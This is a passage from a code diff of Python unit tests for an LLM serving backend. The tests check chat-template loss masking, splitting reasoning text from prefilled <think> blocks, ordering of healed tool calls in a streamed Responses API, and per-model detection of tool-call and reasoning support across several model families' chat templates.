+        ids = tok.apply_chat_template(FIXTURE, tokenize = True, add_generation_prompt = False)
+        if hasattr(ids, "keys"):
+            ids = ids["input_ids"]
+
+    fn = tor(
+        None,
+        instruction_part = parts["instruction"],
+        response_part = parts["response"],
+        tokenizer = tok,
+        return_function = True,
+    )
+    labels = fn({"input_ids": [list(ids)]})["labels"][0]
+
+    n = len(ids)
+    trained = tok.decode([ids[i] for i in range(n) if labels[i] != -100])
+    masked = tok.decode([ids[i] for i in range(n) if labels[i] == -100])
+
+    # User and system content fully masked
+    assert "question one" not in trained and "question one" in masked
+    assert "question two" not in trained and "question two" in masked
+    assert "terse assistant" not in trained
+    # EVERY assistant turn trained, not just the last
+    assert "reply number one" in trained
+    assert "reply number two" in trained
+    # The final EOS (last non-whitespace token) must never be -100, or the
+    # fine-tuned model never learns to stop generating.
+    i = n - 1
+    while i > 0 and tok.decode([ids[i]]).strip() == "":
+        i -= 1
+    assert labels[i] != -100, f"final token {tok.convert_ids_to_tokens(int(ids[i]))!r} is masked"
+
+
+if __name__ == "__main__":
+    raise SystemExit(pytest.main([__file__, "-v"]))
diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py
index 4147746b54..46dd0d42e4 100644
--- a/studio/backend/tests/test_responses_tool_passthrough.py
+++ b/studio/backend/tests/test_responses_tool_passthrough.py
@@ -59,6 +59,7 @@ from models.inference import (
     ResponsesUsage,
 )
 from routes.inference import (
+    _ResponsesReasoningExtractor,
     _SameTaskStreamingResponse,
     _build_chat_request,
     _chat_tool_calls_to_responses_output,
@@ -795,6 +796,7 @@ class TestResponsesNonStreamingAdapter:
 
     def test_monitor_records_translated_visible_text(self, monkeypatch):
         import routes.inference as inf_mod
+        import routes.inference as inf_mod
 
         async def fake_chat_completions(chat_req, request):
             assert request.state.skip_api_monitor is True
@@ -1986,3 +1988,294 @@ class TestTranslatedMessagesValidate:
         msgs = _normalise_responses_input(payload)
         for m in msgs:
             ChatMessage(**m.model_dump(exclude_none = True))
+
+
+# reasoning_prefilled: enable_thinking templates prefill an unclosed <think>, so
+# generation begins inside the block; the extractor must start in reasoning.
+class TestReasoningPrefilledExtractor:
+    def test_prefilled_single_feed_splits_lone_close(self):
+        # T1: reasoning...</think>answer with a prefilled (unseen) open tag.
+        reasoning, visible = _extract_responses_reasoning(
+            "plan</think>answer",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "plan"
+        assert visible == "answer"
+
+    def test_prefilled_never_closed_is_all_reasoning(self):
+        # T2: truncated mid-thought (no </think>) -> all reasoning (GGUF parity).
+        reasoning, visible = _extract_responses_reasoning(
+            "still thinking with no close",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "still thinking with no close"
+        assert visible == ""
+
+    def test_prefilled_close_split_across_feeds(self):
+        # T3: </think> straddles two feed() calls; holdback resolves it.
+        ex = _ResponsesReasoningExtractor(parse_think_markers = True, reasoning_prefilled = True)
+        r1, v1 = ex.feed("plan</th")
+        r2, v2 = ex.feed("ink>ans")
+        fr, fv = ex.finish()
+        assert (r1 + r2 + fr) == "plan"
+        assert (v1 + v2 + fv) == "ans"
+
+    def test_prefilled_close_split_one_char_per_feed(self):
+        # T4: every char in its own feed still splits correctly.
+        ex = _ResponsesReasoningExtractor(parse_think_markers = True, reasoning_prefilled = True)
+        reasoning, visible = "", ""
+        for ch in "plan</think>x":
+            r, v = ex.feed(ch)
+            reasoning += r
+            visible += v
+        fr, fv = ex.finish()
+        assert (reasoning + fr) == "plan"
+        assert (visible + fv) == "x"
+
+    def test_prefilled_empty_generation(self):
+        # T5: nothing generated.
+        reasoning, visible = _extract_responses_reasoning(
+            "",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == ""
+        assert visible == ""
+
+    def test_prefilled_whitespace_after_close_is_visible(self):
+        # T6: Qwen commonly emits </think>\n\n before the answer.
+        reasoning, visible = _extract_responses_reasoning(
+            "plan</think>\n\nanswer",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "plan"
+        assert visible == "\n\nanswer"
+
+    def test_prefilled_stray_open_tag_is_suppressed(self):
+        # T7: a re-emitted literal <think> inside prefilled reasoning is dropped,
+        # not leaked into the drawer (covers enable_thinking_effort full-tag output).
+        reasoning, visible = _extract_responses_reasoning(
+            "a<think>b</think>c",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "ab"
+        assert visible == "c"
+        assert "<think>" not in reasoning
+
+    def test_prefilled_close_at_start_empty_reasoning(self):
+        # T8: model closed immediately (empty reasoning) then answered.
+        reasoning, visible = _extract_responses_reasoning(
+            "</think>hi",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == ""
+        assert visible == "hi"
+
+    def test_not_prefilled_lone_close_preserves_current_behavior(self):
+        # T9: without prefilled, a lone close tag keeps the pre-fix behavior (parity guard).
+        reasoning, visible = _extract_responses_reasoning(
+            "reasoning</think>ans",
+            parse_think_markers = True,
+            reasoning_prefilled = False,
+        )
+        assert reasoning == ""
+        assert visible == "reasoningans"
+
+    def test_not_prefilled_full_pair_still_splits(self):
+        # T10: normal explicit <think>..</think> (GGUF / Harmony) unchanged.
+        reasoning, visible = _extract_responses_reasoning(
+            "<think>r</think>v",
+            parse_think_markers = True,
+            reasoning_prefilled = False,
+        )
+        assert reasoning == "r"
+        assert visible == "v"
+
+    def test_prefilled_ignored_when_markers_not_parsed(self):
+        # T11: a non-reasoning model passes text through even with reasoning_prefilled False.
+        reasoning, visible = _extract_responses_reasoning(
+            "just an answer",
+            parse_think_markers = False,
+            reasoning_prefilled = False,
+        )
+        assert reasoning == ""
+        assert visible == "just an answer"
+
+
+# =====================================================================
+# Streaming passthrough healing — text-form calls promoted in order
+# =====================================================================
+
+
+class TestResponsesStreamHealing:
+    """Route-level healing on the /v1/responses stream: text-form tool calls
+    are promoted through the same per-call item state machinery as structured
+    deltas, and healer events keep their order (text around a healed call must
+    not move relative to the function_call item)."""
+
+    _XML = '<tool_call>{"name":"lookup","arguments":{"q":"x"}}</tool_call>'
+    _TOOL = {"type": "function", "name": "lookup", "parameters": {"type": "object"}}
+
+    @staticmethod
+    def _ordered_events(lines):
+        events = []
+        for line in lines:
+            if not line.startswith("event: "):
+                continue
+            name, _, rest = line.partition("\n")
+            payload = json.loads(rest.split("data: ", 1)[1].strip())
+            events.append((name[len("event: ") :], payload))
+        return events
+
+    def _run_stream(self, monkeypatch, content, **payload_kwargs):
+        TestResponsesStreamAdapter._install_stream_mock(
+            monkeypatch, [{"choices": [{"delta": {"content": content}}]}]
+        )
+        payload = ResponsesRequest(input = "hi", stream = True, tools = [self._TOOL], **payload_kwargs)
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(
+                payload, messages, TestResponsesStreamAdapter._Request()
+            )
+            return await TestResponsesStreamAdapter._collect(response)
+
+        return self._ordered_events(asyncio.run(run()))
+
+    def test_text_around_healed_call_keeps_order(self, monkeypatch):
+        events = self._run_stream(monkeypatch, f"before {self._XML} after.")
+        pos_before = pos_item = pos_after = None
+        for i, (name, payload) in enumerate(events):
+            if name == "response.output_text.delta":
+                if "before" in payload["delta"] and pos_before is None:
+                    pos_before = i
+                if "after" in payload["delta"]:
+                    pos_after = i
+            if (
+                name == "response.output_item.added"
+                and payload["item"]["type"] == "function_call"
+                and pos_item is None
+            ):
+                pos_item = i
+                assert payload["item"]["name"] == "lookup"
+        assert pos_before is not None and pos_item is not None and pos_after is not None
+        assert pos_before < pos_item < pos_after
+
+    def test_call_before_trailing_text_claims_lower_output_index(self, monkeypatch):
+        events = self._run_stream(monkeypatch, f"{self._XML} done.")
+        item_added = [
+            (name, payload) for name, payload in events if name == "response.output_item.added"
+        ]
+        # The call came first in the model output, so its item is added first
+        # and claims the lower output_index; the trailing text's message item
+        # follows.
+        assert [payload["item"]["type"] for _, payload in item_added] == [
+            "function_call",
+            "message",
+        ]
+        call_idx = item_added[0][1]["output_index"]
+        msg_idx = item_added[1][1]["output_index"]
+        assert call_idx < msg_idx
+        text = "".join(
+            payload["delta"] for name, payload in events if name == "response.output_text.delta"
+        )
+        assert "done." in text
+        assert "<tool_call>" not in text
+
+    def test_tool_choice_none_streams_raw_text(self, monkeypatch):
+        events = self._run_stream(monkeypatch, self._XML, tool_choice = "none")
+        assert not any(
+            payload["item"]["type"] == "function_call"
+            for name, payload in events
+            if name == "response.output_item.added"
+        )
+        text = "".join(
+            payload["delta"] for name, payload in events if name == "response.output_text.delta"
+        )
+        assert text == self._XML
+
+    def test_healed_call_splits_message_items(self, monkeypatch):
+        # Text on both sides of a healed call becomes TWO message items: the
+        # healed function_call closes the first, trailing text opens a fresh
+        # one with a later output index (native Responses stream shape).
+        events = self._run_stream(monkeypatch, f"before {self._XML} after.")
+        added = [
+            (payload["output_index"], payload["item"]["type"], payload["item"].get("id"))
+            for name, payload in events
+            if name == "response.output_item.added"
+        ]
+        assert [item_type for _, item_type, _ in added] == [
+            "message",
+            "function_call",
+            "message",
+        ]
+        assert [idx for idx, _, _ in added] == sorted(idx for idx, _, _ in added)
+        assert added[0][2] != added[2][2]  # distinct message item ids
+        # Text deltas attribute to their OWN message item.
+        deltas = [
+            (payload["item_id"], payload["delta"])
+            for name, payload in events
+            if name == "response.output_text.delta"
+        ]
+        assert [d for i, d in deltas if i == added[0][2]] == ["before "]
+        assert [d for i, d in deltas if i == added[2][2]] == [" after."]
+        # The completed snapshot lists all three items with per-item text.
+        completed = [payload for name, payload in events if name == "response.completed"]
+        output = completed[0]["response"]["output"]
+        assert [item["type"] for item in output] == ["message", "function_call", "message"]
+        assert output[0]["content"][0]["text"] == "before "
+        assert output[2]["content"][0]["text"] == " after."
+
+    def test_parallel_cap_drops_native_after_healed(self, monkeypatch):
+        # parallel_tool_calls=false: a healed call consumed the single allowed
+        # slot; a later native structured call (index 0, so it survives
+        # _drop_parallel_tool_call_deltas) must not open a second
+        # function_call item.
+        TestResponsesStreamAdapter._install_stream_mock(
+            monkeypatch,
+            [
+                {"choices": [{"delta": {"content": self._XML}}]},
+                {
+                    "choices": [
+                        {
+                            "delta": {
+                                "tool_calls": [
+                                    {
+                                        "index": 0,
+                                        "id": "call_up",
+                                        "function": {"name": "lookup", "arguments": "{}"},
+                                    }
+                                ]
+                            }
+                        }
+                    ]
+                },
+            ],
+        )
+        payload = ResponsesRequest(
+            input = "hi",
+            stream = True,
+            tools = [self._TOOL],
+            parallel_tool_calls = False,
+        )
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(
+                payload, messages, TestResponsesStreamAdapter._Request()
+            )
+            return await TestResponsesStreamAdapter._collect(response)
+
+        events = self._ordered_events(asyncio.run(run()))
+        calls = [
+            payload
+            for name, payload in events
+            if name == "response.output_item.added" and payload["item"]["type"] == "function_call"
+        ]
+        assert len(calls) == 1
+        assert calls[0]["item"]["name"] == "lookup"
diff --git a/studio/backend/tests/test_safetensors_capability_advertise.py b/studio/backend/tests/test_safetensors_capability_advertise.py
index 671af93708..bd3d8d16b9 100644
--- a/studio/backend/tests/test_safetensors_capability_advertise.py
+++ b/studio/backend/tests/test_safetensors_capability_advertise.py
@@ -11,6 +11,8 @@ from pathlib import Path
 from types import SimpleNamespace
 from unittest.mock import MagicMock
 
+import pytest
+
 _backend_root = Path(__file__).resolve().parent.parent
 if str(_backend_root) not in sys.path:
     sys.path.insert(0, str(_backend_root))
@@ -46,6 +48,21 @@ reasoning_effort: {{ reasoning_effort }}
 """
 
 
+# DeepSeek-V4-Flash: an enable_thinking on/off gate PLUS a reasoning_effort
+# 'max' preamble. The shipped template only *branches* on 'max' ('high' renders
+# identically to thinking-on-without-the-preamble), so the literal scan alone
+# would surface only ['max']; the classifier adds 'high' for deepseek-v4 to
+# expose the encoder's full none/high/max ladder.
+DEEPSEEK_V4_TEMPLATE = (
+    "{%- if not thinking is defined %}"
+    "{%- if enable_thinking is defined %}{%- set thinking = enable_thinking %}"
+    "{%- else %}{%- set thinking = false %}{%- endif %}{%- endif %}\n"
+    "{%- if thinking and reasoning_effort == 'max' %}"
+    "{{- 'Reasoning Effort: Absolute maximum' }}{%- endif %}\n"
+    "{%- for message in messages %}{{- message.content }}{%- endfor %}"
+)
+
+
 PLAIN_TEMPLATE = """
 {%- for message in messages %}
   {{- message.role + ': ' + message.content + '\\n' }}
@@ -88,6 +105,29 @@ def test_detect_reasoning_flags_none_template_returns_all_false():
     assert flags["reasoning_style"] == "enable_thinking"
 
 
+def test_detect_reasoning_flags_deepseek_v4_exposes_none_high_max():
+    """DeepSeek-V4-Flash: enable_thinking gate + reasoning_effort 'max' preamble.
+    Classified as the hybrid style with the full none/high/max ladder even
+    though the template only branches on 'max'."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash-GGUF")
+    assert flags["supports_reasoning"] is True
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["high", "max"]
+    assert flags["reasoning_always_on"] is False
+
+
+def test_detect_reasoning_flags_non_deepseek_v4_effort_only_max_not_injected():
+    """The 'high' injection is scoped to deepseek-v4: a different model whose
+    template only branches on 'max' keeps ['max'] (no phantom 'high')."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "vendor/OtherHybrid-GGUF")
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["max"]
+
+
 def test_detect_safetensors_features_passes_template_through_to_classifier():
     """Route wrapper forwards a real template to the inner classifier."""
     from routes.inference import _detect_safetensors_features
@@ -127,9 +167,8 @@ def test_detect_safetensors_features_gptoss_disables_tools():
     assert flags["supports_tools"] is False
 
 
-# Llama-3 / Mistral advertise tools but emit <|python_tag|> / [TOOL_CALLS],
-# which our parser can't read. The route helper must not flip supports_tools=True
-# for them, else the UI enables a pill the agentic loop can't honour.
+# Llama-3 / Mistral / Gemma 4 tool-call formats are now parser-supported, so supports_tools=True
+# must hold for all of them; only templates matching none of the five known markers are suppressed.
 
 LLAMA3_TEMPLATE = """
 {%- if tools %}
@@ -161,27 +200,188 @@ MISTRAL_TEMPLATE = """
 {%- endfor %}
 """
 
+GEMMA4_TEMPLATE = """
+{%- if tools %}
+  {{- 'Tools available. Emit calls as ' }}
+  {{- '<|tool_call>call:NAME{key:<|"|>val<|"|>}<tool_call|>' }}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+"""
 
-def test_detect_safetensors_features_llama3_template_suppresses_tools():
-    """Llama-3 emits <|python_tag|>; safetensors loop cannot parse it."""
+
+def test_detect_safetensors_features_llama3_template_keeps_tools_on():
+    """Llama-3 emits <|python_tag|>; parser now supports it."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
     flags = _detect_safetensors_features(backend, LLAMA3_TEMPLATE)
-    assert flags["supports_tools"] is False
+    assert flags["supports_tools"] is True
 
 
-def test_detect_safetensors_features_mistral_template_suppresses_tools():
-    """Mistral emits [TOOL_CALLS]; safetensors loop cannot parse it."""
+def test_detect_safetensors_features_mistral_template_keeps_tools_on():
+    """Mistral emits [TOOL_CALLS]name{json}, which the safetensors loop now parses
+    (the shared bracket-tag parser). The gate must no longer suppress it, or the
+    PR's Mistral tool support is unreachable through normal capability detection."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/mistral-7b-instruct-v0.3")
     flags = _detect_safetensors_features(backend, MISTRAL_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_gemma4_template_keeps_tools_on():
+    """Gemma 4 emits <|tool_call>; parser now supports it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/gemma-4-E2B-it-UD-MLX-4bit")
+    flags = _detect_safetensors_features(backend, GEMMA4_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+# DeepSeek V3 / V3.1 / R1 emit ``<｜tool▁calls▁begin｜>...`` blocks.
+# Note the full-width pipe (U+FF5C) and lower-1/8-block (U+2581).
+DEEPSEEK_TEMPLATE = """
+{%- if tools %}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+{%- for message in messages %}
+  {%- if message.role == 'assistant' and message.tool_calls %}
+    {%- for tc in message.tool_calls %}
+      {{- '<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>' + tc.function.name +
+          '<｜tool▁sep｜>' + tc.function.arguments + '<｜tool▁call▁end｜>' }}
+    {%- endfor %}
+  {%- endif %}
+{%- endfor %}
+"""
+
+
+def test_detect_safetensors_features_deepseek_template_keeps_tools_on():
+    """DeepSeek emits ``<｜tool▁calls▁begin｜>...``; parser now supports it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/DeepSeek-V3.1")
+    flags = _detect_safetensors_features(backend, DEEPSEEK_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+# GLM 4.5 / 4.6 / 4.7 emit ``<tool_call>NAME\n<arg_key>...<arg_value>...
+GLM_TEMPLATE = """
+{%- if tools %}
+  For each function call, output the function name and arguments within
+  the following XML format:
+  <tool_call>{function-name}
+  <arg_key>{arg-key}</arg_key>
+  <arg_value>{arg-value}</arg_value>
+  </tool_call>
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+"""
+
+
+def test_detect_safetensors_features_glm_template_keeps_tools_on():
+    """GLM 4.x emits ``<tool_call>NAME\\n<arg_key>...``; parser handles it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/GLM-4.6")
+    flags = _detect_safetensors_features(backend, GLM_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+# Kimi K2 / Moonshot uses ``<|tool_calls_section_begin|>...`` blocks
+# with ``functions.NAME:IDX`` as the per-call id.
+KIMI_TEMPLATE = """
+{%- if tools %}
+  <|im_system|>tool_declare<|im_middle|>{{ tools | tojson }}<|im_end|>
+{%- endif %}
+{%- for message in messages %}
+  {%- if message.role == 'assistant' and message.tool_calls %}
+    <|tool_calls_section_begin|>
+    {%- for tc in message.tool_calls %}
+      <|tool_call_begin|>{{ tc.id }}<|tool_call_argument_begin|>{{ tc.function.arguments | tojson }}<|tool_call_end|>
+    {%- endfor %}
+    <|tool_calls_section_end|>
+  {%- endif %}
+{%- endfor %}
+"""
+
+
+def test_detect_safetensors_features_kimi_template_keeps_tools_on():
+    """Kimi K2 emits ``<|tool_calls_section_begin|>...``; parser handles it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Kimi-K2-Instruct")
+    flags = _detect_safetensors_features(backend, KIMI_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+LLAMA3_2_BARE_JSON_TEMPLATE = """
+{%- if tools %}
+  {{- 'Given the following functions, respond with JSON for a function call.' }}
+  {{- 'Respond in the format {"name": function name, "parameters": dictionary}.' }}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+{%- for message in messages %}
+  {%- if 'tool_calls' in message %}
+    {{- '{"name": "' + message.tool_calls[0].function.name + '", '}}
+    {{- '"parameters": ' + (message.tool_calls[0].function.arguments | tojson) + '}' }}
+  {%- endif %}
+{%- endfor %}
+"""
+
+
+def test_detect_safetensors_features_llama3_2_bare_json_keeps_tools_on():
+    """Llama-3.2 bare JSON is supported, so the pill stays enabled."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, LLAMA3_2_BARE_JSON_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+MINICPM5_ATTRIBUTE_TEMPLATE = """
+{%- if tools %}
+  {{- 'Available tools. Emit calls as ' }}
+  {{- '<function name="NAME"><parameter name="key">value</parameter></function>' }}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+"""
+
+
+def test_detect_safetensors_features_attribute_function_form_keeps_tools_on():
+    """The attribute form ``<function name="...">`` must be whitelisted or the pill is wrongly suppressed."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "openbmb/MiniCPM-5")
+    flags = _detect_safetensors_features(backend, MINICPM5_ATTRIBUTE_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_unknown_format_suppresses_tools():
+    """Tools advertised with no known marker must be suppressed."""
+    from routes.inference import _detect_safetensors_features
+
+    tpl = (
+        "{%- if tools %}<|im_start|>system\n"
+        "Emit tool calls as JSON-RPC notifications inside the response."
+        "<|im_end|>{%- endif %}"
+    )
+    backend = SimpleNamespace(active_model_name = "custom/unknown-tool-format")
+    flags = _detect_safetensors_features(backend, tpl)
     assert flags["supports_tools"] is False
 
 
 def test_detect_safetensors_features_qwen_tool_call_keeps_tools_on():
-    """Sanity check: gate only suppresses non-Qwen formats."""
+    """Sanity check: Qwen <tool_call> marker still flips supports_tools."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/Qwen3-0.6B")
@@ -217,6 +417,59 @@ def test_detect_safetensors_features_gemma_native_tool_call_keeps_tools_on():
     assert flags["supports_tools"] is True
 
 
+def test_detect_safetensors_features_gemma_native_reasoning_is_parseable_not_prefilled():
+    """Native Gemma channels are normalized to <think>, then split by the route."""
+    from routes.inference import _detect_safetensors_features, _sf_reasoning_prefill_mode
+
+    tpl_with_gemma_native = "{% if add_generation_prompt %}<|channel>thought\n<channel|>{% endif %}"
+    backend = SimpleNamespace(
+        active_model_name = "unsloth/gemma-4-E2B-it",
+        models = {
+            "unsloth/gemma-4-E2B-it": {
+                "native_chat_template": tpl_with_gemma_native,
+                "chat_template_info": {"template": "override has no native markers"},
+            }
+        },
+    )
+    flags = _detect_safetensors_features(backend, "override has no native markers")
+    missing_arg_flags = _detect_safetensors_features(backend, None)
+
+    assert flags["supports_reasoning"] is True
+    assert flags["reasoning_always_on"] is True
+    assert missing_arg_flags["supports_reasoning"] is True
+    assert _sf_reasoning_prefill_mode(flags, None, tpl_with_gemma_native) is False
+
+
+def test_detect_safetensors_features_selects_native_reasoning_from_tool_template():
+    """Request tools select a marker-bearing named template without affecting default chat."""
+    from routes.inference import _detect_safetensors_features
+
+    named_template = {
+        "default": "plain default template",
+        "tool_use": "{% if tools %}<|channel>thought\n<channel|>{% endif %}",
+    }
+    backend = SimpleNamespace(
+        active_model_name = "custom/named-native-reasoning",
+        models = {
+            "custom/named-native-reasoning": {
+                "native_chat_template": named_template,
+                "chat_template_info": {"template": "{% if tools %}<tool_call>{% endif %}"},
+            }
+        },
+    )
+
+    default_flags = _detect_safetensors_features(backend, "plain override")
+    tool_flags = _detect_safetensors_features(
+        backend,
+        "plain override",
+        tools = [{"type": "function"}],
+    )
+
+    assert default_flags["supports_reasoning"] is False
+    assert tool_flags["supports_reasoning"] is True
+    assert tool_flags["reasoning_always_on"] is True
+
+
 # Qwen3.5 family pin: the live GGUF + safetensors templates both wrap tool
 # calls as ``<tool_call>\n<function=name>...``. Faithful slice so the
 # classifier never silently regresses for this family.
@@ -454,3 +707,184 @@ def test_route_layer_emits_supports_tools_true_for_qwen3_safetensors():
     assert flags["supports_tools"] is True
     assert flags["supports_reasoning"] is True
     assert flags["supports_preserve_thinking"] is True
+
+
+@pytest.mark.parametrize(
+    "opener",
+    [
+        "<｜tool▁calls▁begin｜>",  # canonical
+        "<｜tool_calls_begin｜>",  # ASCII underscores
+        "<｜tool▁calls｜>",  # short form
+        "<｜tool calls begin｜>",  # spaces
+        "<｜tool\\_calls\\_begin｜>",  # escaped underscores
+    ],
+)
+def test_detect_safetensors_features_deepseek_opener_variants_keep_tools_on(opener):
+    # Every DeepSeek opener the parser accepts must keep supports_tools on; the route gate derives
+    # its markers from the parser's TOOL_XML_SIGNALS so it can no longer drift behind the parser ...
+    from routes.inference import _detect_safetensors_features
+
+    tpl = (
+        "{%- if tools %}tools{%- endif %}"
+        + opener
+        + "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_time{}"
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    backend = SimpleNamespace(active_model_name = "unsloth/DeepSeek-V3.1")
+    flags = _detect_safetensors_features(backend, tpl)
+    assert flags["supports_tools"] is True
+
+
+# Templates that advertise tools ({%- if tools %}) and prompt the bare-JSON
+# call form, but whose ``{"name":`` example is pretty-printed or JSON-escaped.
+_WHITESPACE_BARE_JSON_TEMPLATE = (
+    "{%- if tools %}\n"
+    "To call a tool, output JSON of the form:\n"
+    '{ "name" : "function_name", "parameters": { } }\n'
+    "{%- endif %}\n"
+    "{{ messages }}"
+)
+_ESCAPED_BARE_JSON_TEMPLATE = (
+    "{%- if tools %}\n"
+    'Respond with {\\"name\\": \\"fn\\", \\"parameters\\": {}}\n'
+    "{%- endif %}\n"
+    "{{ messages }}"
+)
+_TOOLS_ADVERTISED_NO_PARSEABLE_FORM = (
+    "{%- if tools %}\nYou may use the available tools.\n{%- endif %}\n{{ messages }}"
+)
+
+
+def test_detect_safetensors_features_keeps_tools_for_pretty_printed_bare_json():
+    # A pretty-printed bare-JSON example (``{ "name" :``) must keep supports_tools since the parser
+    # accepts that whitespace via raw_decode.
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, _WHITESPACE_BARE_JSON_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_keeps_tools_for_escaped_bare_json():
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, _ESCAPED_BARE_JSON_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_drops_tools_when_no_parseable_form():
+    # Negative control: tools advertised but no parser-recognised emission form at
+    # all -> the pill is still dropped (the gate is not now matching everything).
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, _TOOLS_ADVERTISED_NO_PARSEABLE_FORM)
+    assert flags["supports_tools"] is False
+
+
+def test_detect_safetensors_features_keeps_tools_for_function_alias_bare_json():
+    # A template documenting the parser-supported {"function":...} bare-JSON alias
+    # must keep supports_tools, mirroring the {"name":...} form.
+    from routes.inference import _detect_safetensors_features
+
+    tpl = (
+        "{%- if tools %}\n"
+        'Respond with {"function": "fn", "parameters": {}}\n'
+        "{%- endif %}\n"
+        "{{ messages }}"
+    )
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, tpl)
+    assert flags["supports_tools"] is True
+
+
+# _sf_reasoning_prefill_mode gates the prefilled-<think> extractor (GGUF reasoning parity).
+class TestSafetensorsReasoningPrefillGate:
+    # A minimal Qwen3-style template with the standard <think>/</think> markers.
+    _QWEN_TPL = "{% if enable_thinking %}<think>{% endif %}...</think>..."
+    # gemma-style bespoke reasoning channel -- no standard markers.
+    _GEMMA_TPL = "{% if enable_thinking %}<|think|>{% endif %}<|channel>thought<channel|>"
+    # always-on template whose GENERATION PROMPT opens an unclosed <think> (DeepSeek-R1 / QwQ /
+    # Qwen3-Thinking shape): the model emits only the closing </think>, so prefill.
+    _ALWAYS_ON_OPEN_TPL = (
+        "{% for m in messages %}{{ m['content'] }}{% endfor %}"
+        "{% if add_generation_prompt %}<|assistant|><think>\n{% endif %}"
+    )
+    # always-on template that renders PAST assistant <think>...</think> history but leaves the
+    # generation prompt open with no <think> (Kimi-K2-Thinking shape): the model self-emits its
+    # own block, so prefill mode would blank a normal answer.
+    _ALWAYS_ON_HISTORY_TPL = (
+        "{% for m in messages %}"
+        "{% if m['role'] == 'assistant' %}<think>{{ m.get('reasoning_content', '') }}</think>"
+        "{{ m['content'] }}{% endif %}"
+        "{% endfor %}"
+        "{% if add_generation_prompt %}<|im_assistant|>assistant<|im_middle|>{% endif %}"
+    )
+
+    def _features(self, **over):
+        base = {
+            "supports_reasoning": True,
+            "reasoning_always_on": False,
+            "reasoning_style": "enable_thinking",
+        }
+        base.update(over)
+        return base
+
+    def test_g1_enable_thinking_true(self):
+        # G1: Qwen3.5 template + explicit enable_thinking=True -> prefilled.
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), True, self._QWEN_TPL) is True
+
+    def test_g2_enable_thinking_none_defaults_on(self):
+        # G2: default request (None) -> prefilled (Qwen3/GLM templates default on).
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), None, self._QWEN_TPL) is True
+
+    def test_g3_enable_thinking_false(self):
+        # G3: thinking explicitly off -> not prefilled.
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), False, self._QWEN_TPL) is False
+
+    def test_g4_gpt_oss_reasoning_effort_excluded(self):
+        # G4: gpt-oss uses explicit tags via HarmonyTextStreamer -> normal mode.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_style = "reasoning_effort")
